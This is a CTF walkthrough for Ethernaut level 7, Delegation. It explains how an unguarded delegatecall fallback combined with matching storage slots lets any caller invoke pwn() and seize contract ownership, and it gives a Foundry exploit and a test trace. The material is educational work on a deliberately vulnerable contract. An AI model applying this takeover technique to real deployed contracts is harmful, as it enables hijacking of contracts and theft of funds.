CTF walkthrough, Ethernaut, #7 Delegation

The goals is to claim the ownership of the Delegate contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result, ) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

Analysis

We have two contracts: the Delegate and the Delegation.

Delegate

  • It has an owner that was set in the constructor.
  • The pwn() public function can be used to change the ownership to the msg.sender.

Delegation

  • It keeps a reference to the delegate instance.
  • Its fallback function calls the delegatecall(msg.data) on the delegate instance.

There are a few differences between a simple message-call and a delegatecall. The delegatecall is a special variant of a message call, which executes the code at the target address in the context of the calling contract. The msg.sender, msg.data and msg.value are preserved. This makes it possible to use other contracts as libraries.

%%{init: {'theme': 'neutral' }}%% sequenceDiagram participant E as Exploit participant D1 as Delegation participant D2 as Delegate E->>D1: call(abi.encodeWithSignature("pwn()")) D1->>D1: fallback() D1->>D2: delegatecall(msg.data) Note right of D1: msg.data = "pwn()" Note right of D1: msg.sender = Exploit Note right of D2: msg.sender = Exploit D2->>D2: owner = msg.sender

The msg.data should be an ABI-encoded function signature. This could be done by using either of the following functions:

  • abi.encodeWithSelector(bytes4 selector, ...)
  • abi.encodeWithSignature(string memory signature, ...)

The EVM stores contract’s state variables in slots in the order they are defined. Because in both of these contracts the owner state variable is defined first (assigned to slot 0), it is possible call the pwn() function to change its value.

contract Delegate {
    address public owner; // slot = 0
    // ...
}

contract Delegation {
    address public owner; // slot = 0
    Delegate delegate;    // slot = 1
    // ...
}

Exploit

To become an owner of the Delegate contract we need to call the fallback function of the Delegation contract with the msg.data set to the encoded signature of the pwn() function:

function exploit() internal override {
    vm.startPrank(player);

    bytes memory data = abi.encodeWithSelector(Delegate.pwn.selector);
    address(level).call(data);

    vm.stopPrank();
}

Or using the equivalent ABI-encoding approach:

bytes memory data = abi.encodeWithSignature("pwn()");
address(level).call(data)

The trace:

$ forge test --match-contract DelegationTest -vvvv

Running 1 test for src/test/Delegation.t.sol:DelegationTest
[PASS] testDelegation() (gas: 248446)
Traces:
  [248446] DelegationTest::testDelegation()
    ├─ [191772] DelegationTest::create()
    │   ├─ [0] VM::prank(player: [...])
    │   │   └─ ← ()
    │   ├─ [179424] Ethernaut::createLevelInstance(DelegationFactory: [...])
    │   │   ├─ [127861] DelegationFactory::createInstance(player: [...])
    │   │   │   ├─ [93165] → new Delegation@"0x566b…cc21"
    │   │   │   │   └─ ← 243 bytes of code
    │   │   │   └─ ← Delegation: [...]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Delegation: [...])
    │   │   └─ ← Delegation: [...]
    │   └─ ← Delegation: [...]
    ├─ [303] Delegation::owner() [staticcall]
    │   └─ ← DelegationFactory: [...]
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [3350] Delegation::pwn()
    │   ├─ [367] Delegate::pwn() [delegatecall]
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [4346] Ethernaut::submitLevelInstance(Delegation: [...])
    │   ├─ [1299] DelegationFactory::validateInstance(Delegation: [...], player: [...])
    │   │   ├─ [303] Delegation::owner() [staticcall]
    │   │   │   └─ ← player: [...]
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [...], level: DelegationFactory: [...])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Note that if the order of the state variables were different in the Delegation contract then this would not work:

contract Delegation {
    Delegate delegate;     // slot = 0
    address public owner;  // slot = 1
    // ...
}

References


Code for this step is in branch step-7.

Let’s continue to the next challenge: CTF walkthrough, Ethernaut, #8 Force!